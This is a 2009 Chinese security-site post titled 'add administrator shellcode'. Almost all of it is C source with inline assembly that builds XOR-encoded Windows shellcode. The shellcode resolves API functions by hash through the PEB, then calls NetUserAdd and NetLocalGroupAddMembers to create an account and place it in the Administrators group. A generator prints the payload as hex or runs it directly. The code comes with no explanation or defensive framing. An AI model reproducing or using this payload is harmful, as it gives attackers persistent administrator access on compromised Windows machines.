首页 网络安全 安全学院 查看内容

添加管理员shellcode

2009-6-1 11:34 806 0

摘要:   #include <windows.h>  #include <stdio.h>  #define SC_HEX   0  #define NAKED ...
关键词: nbsp unsigned scBuff ECX push esi EBX char MOV define

  #include <windows.h>  #include <stdio.h>  #define SC_HEX   0  #define NAKED __declspec(naked)  #define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90\  __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90  #define PROC_END PROC_BEGIN  #define PROC_STR "\x90\x90\x90\x90\x90\x90\x90\x90\x90"  void PrintSc(unsigned char *buf, int buf_len, int opt)  {  int i=0;  printf("// %d bytes\n", buf_len);  switch(opt)  {  case SC_HEX:  for(i=0; i<buf_len; i++)  {  printf("\\x%02X", buf[i]);  }  break;  }  }  void ShellCode();  unsigned char decode1[] =  /*  00401004   . /EB 0E         JMP SHORT encode.00401014  00401006   $ |5B            POP EBX  00401007   . |4B            DEC EBX  00401008   . |33C9          XOR ECX,ECX  0040100A   . |B1 FF         MOV CL,0FF  0040100C   > |80340B 99     XOR BYTE PTR DS:[EBX+ECX],99  00401010   .^|E2 FA         LOOPD SHORT encode.0040100C  00401012   . |EB 05         JMP SHORT encode.00401019  00401014   > \E8 EDFFFFFF   CALL encode.00401006  */  "\xEB\x0E\x5B\x4B\x33\xC9\xB1"  "\xFF"          // shellcode size  "\x80\x34\x0B"  "\x99"          // xor byte  "\xE2\xFA\xEB\x05\xE8\xED\xFF\xFF\xFF"; // 21字节  unsigned char decode2[] =  /* ripped from eyas  00406030   /EB 10           JMP SHORT 00406042  00406032   |5B              POP EBX  00406033   |4B              DEC EBX  00406034   |33C9            XOR ECX,ECX  00406036   |66:B9 6601      MOV CX,166  0040603A   |80340B 99       XOR BYTE PTR DS:[EBX+ECX],99  0040603E ^|E2 FA           LOOPD SHORT 0040603A  00406040   |EB 05           JMP SHORT 00406047  00406042   \E8 EBFFFFFF     CALL 00406032  */  "\xEB\x10\x5B\x4B\x33\xC9\x66\xB9"  "\x66\x01"      // shellcode size  "\x80\x34\x0B"  "\x99"          // xor byte  "\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF"; // 23字节  // kernel32.dll 数目  #define _Knums      2  // kernel32.dll 导出  #define _LoadLibraryA    0x00  #define _ExitThread     0x04  // netapi32.dll  #define _NetUserAdd     0x08  #define _NetLocalGroupAddMembers 0x0C  // Data  #define _DataOffset     0  #define _UserPassword    0x10  unsigned char functions[100][128] =  {           // [esi] stack layout  // kernel32 .dll  "LoadLibraryA",  "ExitThread",//"ExitProcess", //"ExitThread",  "NetUserAdd",  "NetLocalGroupAddMembers",  "",  };  int GetShellCode(unsigned char* buff, char* user, char* pass)  {  char *fnbgn_str = PROC_STR;  char *fnend_str = fnbgn_str;  unsigned char* scAddr = 0;  unsigned char scBuff[2048];  unsigned int scBuffLen = sizeof(scBuff);  unsigned long dwHash[100];  unsigned int dwHashSize = 0;  unsigned int scLen = 0;  unsigned char xorByte = 0x00;  int i, j, bFind;  char    admin[] = "Administrators";  for(i=0; functions[i][0]; i++)  {  dwHash[i] = 0;  for(j=0; functions[i][j]; j++)  {  dwHash[i] = ( (dwHash[i]<<25) | (dwHash[i]>>7) ) + functions[i][j] ;  }  //printf("%.8X\t%s\n", dwHash[i], functions[i]);  }  dwHashSize = i*4;  scAddr = (unsigned char *)ShellCode;  for(j=0; j < scBuffLen; j++)  {  if(!memcmp(scAddr+j, fnbgn_str, 8))  {  scAddr += (j+8);   // ShellCode开始地址  break;  }  }  for(j=0; j < scBuffLen; j++)  {  if(!memcmp(scAddr+j, fnend_str, 8))  {  scLen = j;   // Shellcode长度 (未加函数hash)  break;  }  }  memcpy(scBuff, scAddr, scLen);  memcpy(scBuff+scLen, (unsigned char *)dwHash, dwHashSize); // Shellcode尾部添加函数hash  scLen += dwHashSize; // Shellcode长度 (添加函数hash后)  // 添加修改shellcode的部分 ......  scLen += _DataOffset;  memcpy(scBuff+scLen, user, strlen(user)+1);  scLen += (strlen(user)+1);  memcpy(scBuff+scLen, pass, strlen(pass)+1);  scLen += (strlen(pass)+1);  memcpy(scBuff+scLen, admin, strlen(admin)+1);  scLen += (strlen(admin)+1);  for(i=0xFF; i>0; i--)   // 找xorByte  {  for(j=0; j<scLen; j++)  {  if ( // 'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40",  ((scBuff[j] ^ i) == '\r') ||  ((scBuff[j] ^ i) == '\n') ||  ((scBuff[j] ^ i) == '/') ||  ((scBuff[j] ^ i) == '\\') ||  ((scBuff[j] ^ i) == '@' ) ||  ((scBuff[j] ^ i) == '_' ) ||  ((scBuff[j] ^ i) == '.' ) ||  //((scBuff[j] ^ i) == ':' ) ||  //((scBuff[j] ^ i) == '"' ) ||  //((scBuff[j] ^ i) == '>' ) ||  //((scBuff[j] ^ i) == '<' ) ||  //((scBuff[j] ^ i) == ' ' ) ||  ((scBuff[j] ^ i) == '\0')  )  {  bFind = 0;  break;  }  bFind = 1;  }  if(bFind) break;  }  if(!bFind)  {  printf("No xorByte found!\n");  return 0;  }  else  {  xorByte = i;  for(j=0; j<scLen; j++)  {  scBuff[j] ^= xorByte;  }  // encode  if(scLen > 0xFF)  {  *(unsigned short *)&decode2[8] = scLen;  *(unsigned char *)&decode2[13] = xorByte;  memcpy(buff, decode2, sizeof(decode2)-1);  memcpy(buff+sizeof(decode2)-1, scBuff, scLen);  scLen += sizeof(decode2)-1;  }  else  {  *(unsigned char *)&decode1[7] = scLen;  *(unsigned char *)&decode1[11] = xorByte;  memcpy(buff, decode1, sizeof(decode1)-1);  memcpy(buff+sizeof(decode1)-1, scBuff, scLen);  scLen += sizeof(decode1)-1;  }  return scLen; // Shellcode最终长度  }  }  void ShellCode()  {  __asm  {  PROC_BEGIN                          // C macro to begin proc  jmp     sc_end  sc_start:  pop     edi                         // Hash string start addr (esp -> edi)  // Get kernel32.dll base addr  push 0x30  pop   ecx  mov     eax, fs:[ecx]                // PEB  mov     eax, [eax+0x0c]             // PROCESS_MODULE_INFO  mov     esi, [eax+0x1c]             // InInitOrder.flink  lodsd                               // eax = InInitOrder.blink  mov     ebp, [eax+8]                // ebp = kernel32.dll base address  mov     esi, edi                    // Hash string start addr -> esi  push    _Knums  pop     ecx  get_kernel32:  call    GetProcAddress_fun   // Get function addr of kernel32  loop    get_kernel32  push ecx       // ecx==0  push '23ip'  push 'aten'      // 'netapi32'  push esp  call [esi+_LoadLibraryA]  xchg ebp, eax  push 2  pop   ecx  get_netapi32:  call GetProcAddress_fun  loop get_netapi32  /*  user  pass  admin  typedef struct _USER_INFO_1 {  +00 LPWSTR    usri1_name;    user  +04 LPWSTR    usri1_password;   pass  +08 DWORD     usri1_password_age; 0  +0C DWORD     usri1_priv;    1  +10 LPWSTR    usri1_home_dir;   0  +14 LPWSTR    usri1_comment;   0  +18 DWORD     usri1_flags;    10000  +1C LPWSTR    usri1_script_path; 0  }USER_INFO_1, *PUSER_INFO_1, *LPUSER_INFO_1;  typedef struct _LOCALGROUP_MEMBERS_INFO_3 {  +20   LPWSTR lgrmi3_domainandname;  } LOCALGROUP_MEMBERS_INFO_3;  */  //int 3 // ecx==0  inc   ch  sub   esp, ecx   // ecx==100  xchg ebx, esi  lea   esi, [ebx+_UserPassword]  xor   eax, eax  mov   edi, esp   // esp user  call ascii_to_unicode  mov   edx, edi   // edx pass  call ascii_to_unicode  mov   ebp, edi   // ebp admin  call ascii_to_unicode  xchg ebx, esi  push 8     // eax==0  pop   ecx  mov   ebx, edi  zero_loop:  stosd  loop zero_loop  mov   [edi], esp  mov   [ebx], esp  mov   [ebx+4], edx  inc   ecx  push ecx  push edi  push 3  push ebp  push eax  push eax  push ebx  push ecx  push eax  mov   [ebx+0x0C], ecx      // ecx==1  shl   ecx, 0x10       // ecx==10000h  mov   [ebx+0x18], ecx  call [esi+_NetUserAdd]     // NetUserAdd(NULL, 1, (LPBYTE)&UserInfo1, NULL);  call [esi+_NetLocalGroupAddMembers] // NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&GroupInfo3, 1);  call [esi+_ExitThread]  ascii_to_unicode:  convert_loop:  lodsb  stosw  test al, al  jne   convert_loop  retn  /*  esi 指向hash数组基址  edi 指向hash存放地址  ebp 指向PE加载基址  */  GetProcAddress_fun:  push    ecx  push    esi  mov     esi, [ebp+0x3C]             // e_lfanew  mov     esi, [esi+ebp+0x78]         // ExportDirectory RVA  add     esi, ebp                    // rva2va  push    esi  mov     esi, [esi+0x20]              // AddressOfNames RVA  add     esi, ebp                    // rva2va  xor     ecx, ecx  dec     ecx  find_start:  inc     ecx  lodsd  add     eax, ebp  xor     ebx, ebx  hash_loop:  movsx   edx, byte ptr [eax]  cmp     dl, dh  jz      short find_addr  ror     ebx, 7       // hash key  add     ebx, edx  inc     eax  jmp     short hash_loop  find_addr:  cmp     ebx, [edi]                  // compare to hash  jnz     short find_start  pop     esi                         // ExportDirectory  mov     ebx, [esi+0x24]     // AddressOfNameOrdinals RVA  add     ebx, ebp                    // rva2va  mov     cx, [ebx+ecx*2]             // FunctionOrdinal  mov     ebx, [esi+0x1C]             // AddressOfFunctions RVA  add     ebx, ebp                    // rva2va  mov     eax, [ebx+ecx*4]            // FunctionAddress RVA  add     eax, ebp                    // rva2va  stosd                               // function address save to [edi]  pop     esi  pop     ecx  ret  sc_end:  call sc_start  PROC_END                            //C macro to end proc  }  }  #ifndef _MAIN_FUNC  void main(int argc, char *argv[])  {  unsigned char scBuff[2048];  unsigned int scLen = 0;  DWORD    addr;  if(argc==3 || argc==4)  {  scLen = GetShellCode(scBuff, argv[1], argv[2]);  }  else  {  printf( "Usage:\n"  " %s user pass [1]\n"  " eg. %s admin pass\n"  ,argv[0], argv[0]);  return;  }  if(argc==4 && atoi(argv[3])==1)  {  addr = (DWORD)&scBuff;  __asm  {  jmp addr  }  return;  }  else  {  PrintSc(scBuff, scLen, SC_HEX);  }  }  #endif
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部